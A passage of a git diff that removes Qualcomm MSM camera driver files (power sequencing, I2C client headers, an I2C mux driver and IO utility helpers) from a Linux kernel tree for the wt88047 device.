msm_camera_power_ctrl_t *ctrl, - enum msm_camera_device_type_t device_type, - struct msm_camera_i2c_client *sensor_i2c_client) -{ - int index = 0, ret = 0; - struct msm_sensor_power_setting *pd = NULL; - struct msm_sensor_power_setting *ps; - - CDBG("%s:%d\n", __func__, __LINE__); - if (!ctrl || !sensor_i2c_client) { - pr_err("failed ctrl %p sensor_i2c_client %p\n", ctrl, - sensor_i2c_client); - return -EINVAL; - } - if (device_type == MSM_CAMERA_PLATFORM_DEVICE) - sensor_i2c_client->i2c_func_tbl->i2c_util( - sensor_i2c_client, MSM_CCI_RELEASE); - - for (index = 0; index < ctrl->power_down_setting_size; index++) { - CDBG("%s index %d\n", __func__, index); - pd = &ctrl->power_down_setting[index]; - ps = NULL; - CDBG("%s type %d\n", __func__, pd->seq_type); - switch (pd->seq_type) { - case SENSOR_CLK: - - ps = msm_camera_get_power_settings(ctrl, - pd->seq_type, - pd->seq_val); - if (ps) - msm_cam_clk_enable(ctrl->dev, - &ctrl->clk_info[0], - (struct clk **)&ps->data[0], - ctrl->clk_info_size, - 0); - else - pr_err("%s error in power up/down seq data\n", - __func__); - break; - case SENSOR_GPIO: - if (pd->seq_val >= SENSOR_GPIO_MAX || - !ctrl->gpio_conf->gpio_num_info) { - pr_err("%s gpio index %d >= max %d\n", __func__, - pd->seq_val, - SENSOR_GPIO_MAX); - continue; - } - if (!ctrl->gpio_conf->gpio_num_info->valid - [pd->seq_val]) - continue; - gpio_set_value_cansleep( - ctrl->gpio_conf->gpio_num_info->gpio_num - [pd->seq_val], - pd->config_val); - break; - case SENSOR_VREG: - if (pd->seq_val >= CAM_VREG_MAX) { - pr_err("%s vreg index %d >= max %d\n", __func__, - pd->seq_val, - SENSOR_GPIO_MAX); - continue; - } - - ps = msm_camera_get_power_settings(ctrl, - pd->seq_type, - pd->seq_val); - - if (ps) - msm_camera_config_single_vreg(ctrl->dev, - &ctrl->cam_vreg[pd->seq_val], - (struct regulator **)&ps->data[0], - 0); - else - pr_err("%s error in power up/down seq data\n", - __func__); - break; - case SENSOR_I2C_MUX: - if (ctrl->i2c_conf && ctrl->i2c_conf->use_i2c_mux) - msm_camera_disable_i2c_mux(ctrl->i2c_conf); - break; - default: - pr_err("%s error power seq type %d\n", __func__, - pd->seq_type); - break; - } - if (pd->delay > 20) { - msleep(pd->delay); - } else if (pd->delay) { - usleep_range(pd->delay * 1000, - (pd->delay * 1000) + 1000); - } - } - if (ctrl->cam_pinctrl_status) { - ret = pinctrl_select_state(ctrl->pinctrl_info.pinctrl, - ctrl->pinctrl_info.gpio_state_suspend); - if (ret) - pr_err("%s:%d cannot set pin to suspend state", - __func__, __LINE__); - devm_pinctrl_put(ctrl->pinctrl_info.pinctrl); - } - ctrl->cam_pinctrl_status = 0; - msm_camera_request_gpio_table( - ctrl->gpio_conf->cam_gpio_req_tbl, - ctrl->gpio_conf->cam_gpio_req_tbl_size, 0); - CDBG("%s exit\n", __func__); - return 0; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h deleted file mode 100644 index d86e77e667068..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h +++ /dev/null @@ -1,61 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CAMERA_DT_UTIL_H__ -#define MSM_CAMERA_DT_UTIL_H__ - -#include -#include -#include -#include "msm_camera_i2c.h" - -int msm_sensor_get_sub_module_index(struct device_node *of_node, - struct msm_sensor_info_t **s_info); - -int msm_sensor_get_dt_actuator_data(struct device_node *of_node, - struct msm_actuator_info **act_info); - -int msm_sensor_get_dt_csi_data(struct device_node *of_node, - struct msm_camera_csi_lane_params **csi_lane_params); - -int msm_camera_get_dt_power_setting_data(struct device_node *of_node, - struct camera_vreg_t *cam_vreg, int num_vreg, - struct msm_camera_power_ctrl_t *power_info); - -int msm_camera_get_dt_gpio_req_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size); - -int msm_camera_get_dt_gpio_set_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size); - -int msm_camera_init_gpio_pin_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size); - -int msm_camera_get_dt_vreg_data(struct device_node *of_node, - struct camera_vreg_t **cam_vreg, int *num_vreg); - -int msm_camera_power_up(struct msm_camera_power_ctrl_t *ctrl, - enum msm_camera_device_type_t device_type, - struct msm_camera_i2c_client *sensor_i2c_client); - -int msm_camera_power_down(struct msm_camera_power_ctrl_t *ctrl, - enum msm_camera_device_type_t device_type, - struct msm_camera_i2c_client *sensor_i2c_client); - -int msm_camera_fill_vreg_params(struct camera_vreg_t *cam_vreg, - int num_vreg, struct msm_sensor_power_setting *power_setting, - uint16_t power_setting_size); - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h deleted file mode 100644 index 1bceb515e79f9..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h +++ /dev/null @@ -1,124 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CAMERA_CCI_I2C_H -#define MSM_CAMERA_CCI_I2C_H - -#include -#include -#include - -struct msm_camera_i2c_client { - struct msm_camera_i2c_fn_t *i2c_func_tbl; - struct i2c_client *client; - struct msm_camera_cci_client *cci_client; - struct msm_camera_spi_client *spi_client; - enum msm_camera_i2c_reg_addr_type addr_type; -}; - -struct msm_camera_i2c_fn_t { - int (*i2c_read) (struct msm_camera_i2c_client *, uint32_t, uint16_t *, - enum msm_camera_i2c_data_type); - int32_t (*i2c_read_seq)(struct msm_camera_i2c_client *, uint32_t, - uint8_t *, uint32_t); - int (*i2c_write) (struct msm_camera_i2c_client *, uint32_t, uint16_t, - enum msm_camera_i2c_data_type); - int (*i2c_write_seq) (struct msm_camera_i2c_client *, uint32_t , - uint8_t *, uint32_t); - int32_t (*i2c_write_table)(struct msm_camera_i2c_client *, - struct msm_camera_i2c_reg_setting *); - int32_t (*i2c_write_seq_table)(struct msm_camera_i2c_client *, - struct msm_camera_i2c_seq_reg_setting *); - int32_t (*i2c_write_table_w_microdelay) - (struct msm_camera_i2c_client *, - struct msm_camera_i2c_reg_setting *); - int32_t (*i2c_util)(struct msm_camera_i2c_client *, uint16_t); - int32_t (*i2c_write_conf_tbl)(struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, - enum msm_camera_i2c_data_type data_type); - int32_t (*i2c_poll)(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type); -}; - -int32_t msm_camera_cci_i2c_read(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t *data, - enum msm_camera_i2c_data_type data_type); - -int32_t msm_camera_cci_i2c_read_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte); - -int32_t msm_camera_cci_i2c_write(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type); - -int32_t msm_camera_cci_i2c_write_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte); - -int32_t msm_camera_cci_i2c_write_table( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting); - -int32_t msm_camera_cci_i2c_write_seq_table( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_seq_reg_setting *write_setting); - -int32_t msm_camera_cci_i2c_write_table_w_microdelay( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting); - -int32_t msm_camera_cci_i2c_write_conf_tbl( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, - enum msm_camera_i2c_data_type data_type); - -int32_t msm_sensor_cci_i2c_util(struct msm_camera_i2c_client *client, - uint16_t cci_cmd); - -int32_t msm_camera_cci_i2c_poll(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type); - -int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t *data, - enum msm_camera_i2c_data_type data_type); - -int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte); - -int32_t msm_camera_qup_i2c_write(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type); - -int32_t msm_camera_qup_i2c_write_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte); - -int32_t msm_camera_qup_i2c_write_table(struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting); - -int32_t msm_camera_qup_i2c_write_seq_table(struct msm_camera_i2c_client *client, - struct msm_camera_i2c_seq_reg_setting *write_setting); - -int32_t msm_camera_qup_i2c_write_table_w_microdelay( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting); - -int32_t msm_camera_qup_i2c_write_conf_tbl( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, - enum msm_camera_i2c_data_type data_type); - -int32_t msm_camera_qup_i2c_poll(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type); - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c deleted file mode 100644 index cd2af2c2751ea..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c +++ /dev/null @@ -1,188 +0,0 @@ -/* Copyright (c) 2011-2013, The Linux Foundatation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include "msm_camera_i2c_mux.h" - -/* TODO move this somewhere else */ -#define MSM_I2C_MUX_DRV_NAME "msm_cam_i2c_mux" -static int msm_i2c_mux_config(struct i2c_mux_device *mux_device, uint8_t *mode) -{ - uint32_t val; - val = msm_camera_io_r(mux_device->ctl_base); - if (*mode == MODE_DUAL) { - msm_camera_io_w(val | 0x3, mux_device->ctl_base); - } else if (*mode == MODE_L) { - msm_camera_io_w(((val | 0x2) & ~(0x1)), mux_device->ctl_base); - val = msm_camera_io_r(mux_device->ctl_base); - CDBG("the camio mode config left value is %d\n", val); - } else { - msm_camera_io_w(((val | 0x1) & ~(0x2)), mux_device->ctl_base); - val = msm_camera_io_r(mux_device->ctl_base); - CDBG("the camio mode config right value is %d\n", val); - } - return 0; -} - -static int msm_i2c_mux_init(struct i2c_mux_device *mux_device) -{ - int rc = 0, val = 0; - if (mux_device->use_count == 0) { - mux_device->ctl_base = ioremap(mux_device->ctl_mem->start, - resource_size(mux_device->ctl_mem)); - if (!mux_device->ctl_base) { - rc = -ENOMEM; - return rc; - } - mux_device->rw_base = ioremap(mux_device->rw_mem->start, - resource_size(mux_device->rw_mem)); - if (!mux_device->rw_base) { - rc = -ENOMEM; - iounmap(mux_device->ctl_base); - return rc; - } - val = msm_camera_io_r(mux_device->rw_base); - msm_camera_io_w((val | 0x200), mux_device->rw_base); - } - mux_device->use_count++; - return 0; -}; - -static int msm_i2c_mux_release(struct i2c_mux_device *mux_device) -{ - int val = 0; - mux_device->use_count--; - if (mux_device->use_count == 0) { - val = msm_camera_io_r(mux_device->rw_base); - msm_camera_io_w((val & ~0x200), mux_device->rw_base); - iounmap(mux_device->rw_base); - iounmap(mux_device->ctl_base); - } - return 0; -} - -static long msm_i2c_mux_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - struct i2c_mux_device *mux_device; - int rc = 0; - mux_device = v4l2_get_subdevdata(sd); - if (mux_device == NULL) { - rc = -ENOMEM; - return rc; - } - mutex_lock(&mux_device->mutex); - switch (cmd) { - case VIDIOC_MSM_I2C_MUX_CFG: - rc = msm_i2c_mux_config(mux_device, (uint8_t *) arg); - break; - case VIDIOC_MSM_I2C_MUX_INIT: - rc = msm_i2c_mux_init(mux_device); - break; - case VIDIOC_MSM_I2C_MUX_RELEASE: - rc = msm_i2c_mux_release(mux_device); - break; - default: - rc = -ENOIOCTLCMD; - } - mutex_unlock(&mux_device->mutex); - return rc; -} - -static struct v4l2_subdev_core_ops msm_i2c_mux_subdev_core_ops = { - .ioctl = &msm_i2c_mux_subdev_ioctl, -}; - -static const struct v4l2_subdev_ops msm_i2c_mux_subdev_ops = { - .core = &msm_i2c_mux_subdev_core_ops, -}; - -static int i2c_mux_probe(struct platform_device *pdev) -{ - struct i2c_mux_device *mux_device; - int rc = 0; - CDBG("%s: device id = %d\n", __func__, pdev->id); - mux_device = kzalloc(sizeof(struct i2c_mux_device), GFP_KERNEL); - if (!mux_device) { - pr_err("%s: no enough memory\n", __func__); - return -ENOMEM; - } - - v4l2_subdev_init(&mux_device->subdev, &msm_i2c_mux_subdev_ops); - v4l2_set_subdevdata(&mux_device->subdev, mux_device); - platform_set_drvdata(pdev, &mux_device->subdev); - mutex_init(&mux_device->mutex); - - mux_device->ctl_mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "i2c_mux_ctl"); - if (!mux_device->ctl_mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto i2c_mux_no_resource; - } - mux_device->ctl_io = request_mem_region(mux_device->ctl_mem->start, - resource_size(mux_device->ctl_mem), pdev->name); - if (!mux_device->ctl_io) { - pr_err("%s: no valid mem region\n", __func__); - rc = -EBUSY; - goto i2c_mux_no_resource; - } - mux_device->rw_mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "i2c_mux_rw"); - if (!mux_device->rw_mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto i2c_mux_no_resource; - } - mux_device->rw_io = request_mem_region(mux_device->rw_mem->start, - resource_size(mux_device->rw_mem), pdev->name); - if (!mux_device->rw_io) { - pr_err("%s: no valid mem region\n", __func__); - rc = -EBUSY; - goto i2c_mux_no_resource; - } - mux_device->pdev = pdev; - return 0; - -i2c_mux_no_resource: - mutex_destroy(&mux_device->mutex); - kfree(mux_device); - return 0; -} - -static struct platform_driver i2c_mux_driver = { - .probe = i2c_mux_probe, - .driver = { - .name = MSM_I2C_MUX_DRV_NAME, - .owner = THIS_MODULE, - }, -}; - -static int __init msm_camera_i2c_mux_init_module(void) -{ - return platform_driver_register(&i2c_mux_driver); -} - -static void __exit msm_camera_i2c_mux_exit_module(void) -{ - platform_driver_unregister(&i2c_mux_driver); -} - -module_init(msm_camera_i2c_mux_init_module); -module_exit(msm_camera_i2c_mux_exit_module); -MODULE_DESCRIPTION("MSM Camera I2C mux driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h deleted file mode 100644 index 30f908b12e155..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h +++ /dev/null @@ -1,46 +0,0 @@ -/* Copyright (c) 2011-2012, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_I2C_MUX_H -#define MSM_I2C_MUX_H - -#include -#include - -struct i2c_mux_device { - struct platform_device *pdev; - struct v4l2_subdev subdev; - struct resource *ctl_mem; - struct resource *ctl_io; - void __iomem *ctl_base; - struct resource *rw_mem; - struct resource *rw_io; - void __iomem *rw_base; - struct mutex mutex; - unsigned use_count; -}; - -struct i2c_mux_cfg_params { - struct v4l2_subdev *subdev; - void *parms; -}; - -#define VIDIOC_MSM_I2C_MUX_CFG \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct i2c_mux_cfg_params) - -#define VIDIOC_MSM_I2C_MUX_INIT \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct v4l2_subdev*) - -#define VIDIOC_MSM_I2C_MUX_RELEASE \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct v4l2_subdev*) - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c deleted file mode 100644 index 5485206225eaf..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c +++ /dev/null @@ -1,581 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundataion. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_camera_io_util.h" - -#define BUFF_SIZE_128 128 - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -void msm_camera_io_w(u32 data, void __iomem *addr) -{ - CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); - writel_relaxed((data), (addr)); -} - -void msm_camera_io_w_mb(u32 data, void __iomem *addr) -{ - CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); - wmb(); - writel_relaxed((data), (addr)); - wmb(); -} - -u32 msm_camera_io_r(void __iomem *addr) -{ - uint32_t data = readl_relaxed(addr); - CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); - return data; -} - -u32 msm_camera_io_r_mb(void __iomem *addr) -{ - uint32_t data; - rmb(); - data = readl_relaxed(addr); - rmb(); - CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); - return data; -} - -void msm_camera_io_memcpy_toio(void __iomem *dest_addr, - void __iomem *src_addr, u32 len) -{ - int i; - u32 *d = (u32 *) dest_addr; - u32 *s = (u32 *) src_addr; - - for (i = 0; i < len; i++) - writel_relaxed(*s++, d++); -} - -void msm_camera_io_dump(void __iomem *addr, int size) -{ - char line_str[BUFF_SIZE_128], *p_str; - int i; - u32 *p = (u32 *) addr; - u32 data; - CDBG("%s: %p %d\n", __func__, addr, size); - line_str[0] = '\0'; - p_str = line_str; - for (i = 0; i < size/4; i++) { - if (i % 4 == 0) { - snprintf(p_str, 12, "0x%p: ", p); - p_str += 10; - } - data = readl_relaxed(p++); - snprintf(p_str, 12, "%d ", data); - p_str += 9; - if ((i + 1) % 4 == 0) { - CDBG("%s\n", line_str); - line_str[0] = '\0'; - p_str = line_str; - } - } - if (line_str[0] != '\0') - CDBG("%s\n", line_str); -} - -void msm_camera_io_memcpy(void __iomem *dest_addr, - void __iomem *src_addr, u32 len) -{ - CDBG("%s: %p %p %d\n", __func__, dest_addr, src_addr, len); - msm_camera_io_memcpy_toio(dest_addr, src_addr, len / 4); - msm_camera_io_dump(dest_addr, len); -} - -int msm_cam_clk_sel_src(struct device *dev, struct msm_cam_clk_info *clk_info, - struct msm_cam_clk_info *clk_src_info, int num_clk) -{ - int i; - int rc = 0; - struct clk *mux_clk = NULL; - struct clk *src_clk = NULL; - - for (i = 0; i < num_clk; i++) { - if (clk_src_info[i].clk_name) { - mux_clk = clk_get(dev, clk_info[i].clk_name); - if (IS_ERR(mux_clk)) { - pr_err("%s get failed\n", - clk_info[i].clk_name); - continue; - } - src_clk = clk_get(dev, clk_src_info[i].clk_name); - if (IS_ERR(src_clk)) { - pr_err("%s get failed\n", - clk_src_info[i].clk_name); - continue; - } - clk_set_parent(mux_clk, src_clk); - } - } - return rc; -} - -int msm_cam_clk_enable(struct device *dev, struct msm_cam_clk_info *clk_info, - struct clk **clk_ptr, int num_clk, int enable) -{ - int i; - int rc = 0; - long clk_rate; - if (enable) { - for (i = 0; i < num_clk; i++) { - CDBG("%s enable %s\n", __func__, - clk_info[i].clk_name); - clk_ptr[i] = clk_get(dev, clk_info[i].clk_name); - if (IS_ERR(clk_ptr[i])) { - pr_err("%s get failed\n", clk_info[i].clk_name); - rc = PTR_ERR(clk_ptr[i]); - goto cam_clk_get_err; - } - if (clk_info[i].clk_rate > 0) { - rc = clk_set_rate(clk_ptr[i], - clk_info[i].clk_rate); - if (rc < 0) { - pr_err("%s set failed\n", - clk_info[i].clk_name); - goto cam_clk_set_err; - } - } else if (clk_info[i].clk_rate == INIT_RATE) { - clk_rate = clk_get_rate(clk_ptr[i]); - if (clk_rate == 0) { - clk_rate = - clk_round_rate(clk_ptr[i], 0); - if (clk_rate < 0) { - pr_err("%s round rate failed\n", - clk_info[i].clk_name); - goto cam_clk_set_err; - } - rc = clk_set_rate(clk_ptr[i], - clk_rate); - if (rc < 0) { - pr_err("%s set rate failed\n", - clk_info[i].clk_name); - goto cam_clk_set_err; - } - } - } - rc = clk_prepare(clk_ptr[i]); - if (rc < 0) { - pr_err("%s prepare failed\n", - clk_info[i].clk_name); - goto cam_clk_prepare_err; - } - - rc = clk_enable(clk_ptr[i]); - if (rc < 0) { - pr_err("%s enable failed\n", - clk_info[i].clk_name); - goto cam_clk_enable_err; - } - if (clk_info[i].delay > 20) { - msleep(clk_info[i].delay); - } else if (clk_info[i].delay) { - usleep_range(clk_info[i].delay * 1000, - (clk_info[i].delay * 1000) + 1000); - } - } - } else { - for (i = num_clk - 1; i >= 0; i--) { - if (clk_ptr[i] != NULL) { - CDBG("%s disable %s\n", __func__, - clk_info[i].clk_name); - clk_disable(clk_ptr[i]); - clk_unprepare(clk_ptr[i]); - clk_put(clk_ptr[i]); - } - } - } - return rc; - - -cam_clk_enable_err: - clk_unprepare(clk_ptr[i]); -cam_clk_prepare_err: -cam_clk_set_err: - clk_put(clk_ptr[i]); -cam_clk_get_err: - for (i--; i >= 0; i--) { - if (clk_ptr[i] != NULL) { - clk_disable(clk_ptr[i]); - clk_unprepare(clk_ptr[i]); - clk_put(clk_ptr[i]); - } - } - return rc; -} - -int msm_camera_config_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, - int num_vreg, enum msm_camera_vreg_name_t *vreg_seq, - int num_vreg_seq, struct regulator **reg_ptr, int config) -{ - int i = 0, j = 0; - int rc = 0; - struct camera_vreg_t *curr_vreg; - - if (num_vreg_seq > num_vreg) { - pr_err("%s:%d vreg sequence invalid\n", __func__, __LINE__); - return -EINVAL; - } - if (!num_vreg_seq) - num_vreg_seq = num_vreg; - - if (config) { - for (i = 0; i < num_vreg_seq; i++) { - if (vreg_seq) { - j = vreg_seq[i]; - if (j >= num_vreg) - continue; - } else - j = i; - curr_vreg = &cam_vreg[j]; - reg_ptr[j] = regulator_get(dev, - curr_vreg->reg_name); - if (IS_ERR(reg_ptr[j])) { - pr_err("%s: %s get failed\n", - __func__, - curr_vreg->reg_name); - reg_ptr[j] = NULL; - goto vreg_get_fail; - } - if (curr_vreg->type == REG_LDO) { - rc = regulator_set_voltage( - reg_ptr[j], - curr_vreg->min_voltage, - curr_vreg->max_voltage); - if (rc < 0) { - pr_err("%s: %s set voltage failed\n", - __func__, - curr_vreg->reg_name); - goto vreg_set_voltage_fail; - } - if (curr_vreg->op_mode >= 0) { - rc = regulator_set_optimum_mode( - reg_ptr[j], - curr_vreg->op_mode); - if (rc < 0) { - pr_err( - "%s:%s set optimum mode fail\n", - __func__, - curr_vreg->reg_name); - goto vreg_set_opt_mode_fail; - } - } - } - } - } else { - for (i = num_vreg_seq-1; i >= 0; i--) { - if (vreg_seq) { - j = vreg_seq[i]; - if (j >= num_vreg) - continue; - } else - j = i; - curr_vreg = &cam_vreg[j]; - if (reg_ptr[j]) { - if (curr_vreg->type == REG_LDO) { - if (curr_vreg->op_mode >= 0) { - regulator_set_optimum_mode( - reg_ptr[j], 0); - } - regulator_set_voltage( - reg_ptr[j], 0, curr_vreg-> - max_voltage); - } - regulator_put(reg_ptr[j]); - reg_ptr[j] = NULL; - } - } - } - return 0; - -vreg_unconfig: -if (curr_vreg->type == REG_LDO) - regulator_set_optimum_mode(reg_ptr[j], 0); - -vreg_set_opt_mode_fail: -if (curr_vreg->type == REG_LDO) - regulator_set_voltage(reg_ptr[j], 0, - curr_vreg->max_voltage); - -vreg_set_voltage_fail: - regulator_put(reg_ptr[j]); - reg_ptr[j] = NULL; - -vreg_get_fail: - for (i--; i >= 0; i--) { - if (vreg_seq) { - j = vreg_seq[i]; - if (j >= num_vreg) - continue; - } else - j = i; - curr_vreg = &cam_vreg[j]; - goto vreg_unconfig; - } - return -ENODEV; -} - -int msm_camera_enable_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, - int num_vreg, enum msm_camera_vreg_name_t *vreg_seq, - int num_vreg_seq, struct regulator **reg_ptr, int enable) -{ - int i = 0, j = 0, rc = 0; - - if (num_vreg_seq > num_vreg) { - pr_err("%s:%d vreg sequence invalid\n", __func__, __LINE__); - return -EINVAL; - } - if (!num_vreg_seq) - num_vreg_seq = num_vreg; - - if (enable) { - for (i = 0; i < num_vreg_seq; i++) { - if (vreg_seq) { - j = vreg_seq[i]; - if (j >= num_vreg) - continue; - } else - j = i; - if (IS_ERR(reg_ptr[j])) { - pr_err("%s: %s null regulator\n", - __func__, cam_vreg[j].reg_name); - goto disable_vreg; - } - rc = regulator_enable(reg_ptr[j]); - if (rc < 0) { - pr_err("%s: %s enable failed\n", - __func__, cam_vreg[j].reg_name); - goto disable_vreg; - } - if (cam_vreg[j].delay > 20) - msleep(cam_vreg[j].delay); - else if (cam_vreg[j].delay) - usleep_range(cam_vreg[j].delay * 1000, - (cam_vreg[j].delay * 1000) + 1000); - } - } else { - for (i = num_vreg_seq-1; i >= 0; i--) { - if (vreg_seq) { - j = vreg_seq[i]; - if (j >= num_vreg) - continue; - } else - j = i; - regulator_disable(reg_ptr[j]); - if (cam_vreg[j].delay > 20) - msleep(cam_vreg[j].delay); - else if (cam_vreg[j].delay) - usleep_range(cam_vreg[j].delay * 1000, - (cam_vreg[j].delay * 1000) + 1000); - } - } - return rc; -disable_vreg: - for (i--; i >= 0; i--) { - if (vreg_seq) { - j = vreg_seq[i]; - if (j >= num_vreg) - continue; - } else - j = i; - regulator_disable(reg_ptr[j]); - if (cam_vreg[j].delay > 20) - msleep(cam_vreg[j].delay); - else if (cam_vreg[j].delay) - usleep_range(cam_vreg[j].delay * 1000, - (cam_vreg[j].delay * 1000) + 1000); - } - return rc; -} - -void msm_camera_bus_scale_cfg(uint32_t bus_perf_client, - enum msm_bus_perf_setting perf_setting) -{ - int rc = 0; - if (!bus_perf_client) { - pr_err("%s: Bus Client NOT Registered!!!\n", __func__); - return; - } - - switch (perf_setting) { - case S_EXIT: - rc = msm_bus_scale_client_update_request(bus_perf_client, 1); - msm_bus_scale_unregister_client(bus_perf_client); - break; - case S_PREVIEW: - rc = msm_bus_scale_client_update_request(bus_perf_client, 1); - break; - case S_VIDEO: - rc = msm_bus_scale_client_update_request(bus_perf_client, 2); - break; - case S_CAPTURE: - rc = msm_bus_scale_client_update_request(bus_perf_client, 3); - break; - case S_ZSL: - rc = msm_bus_scale_client_update_request(bus_perf_client, 4); - break; - case S_LIVESHOT: - rc = msm_bus_scale_client_update_request(bus_perf_client, 5); - break; - case S_DEFAULT: - break; - default: - pr_warning("%s: INVALID CASE\n", __func__); - } -} - -int msm_camera_set_gpio_table(struct msm_gpio_set_tbl *gpio_tbl, - uint8_t gpio_tbl_size, int gpio_en) -{ - int rc = 0, i; - - if (gpio_en) { - for (i = 0; i < gpio_tbl_size; i++) { - gpio_set_value_cansleep(gpio_tbl[i].gpio, - gpio_tbl[i].flags); - usleep_range(gpio_tbl[i].delay, - gpio_tbl[i].delay + 1000); - } - } else { - for (i = gpio_tbl_size - 1; i >= 0; i--) { - if (gpio_tbl[i].flags) - gpio_set_value_cansleep(gpio_tbl[i].gpio, - GPIOF_OUT_INIT_LOW); - } - } - return rc; -} - -int msm_camera_config_single_vreg(struct device *dev, - struct camera_vreg_t *cam_vreg, struct regulator 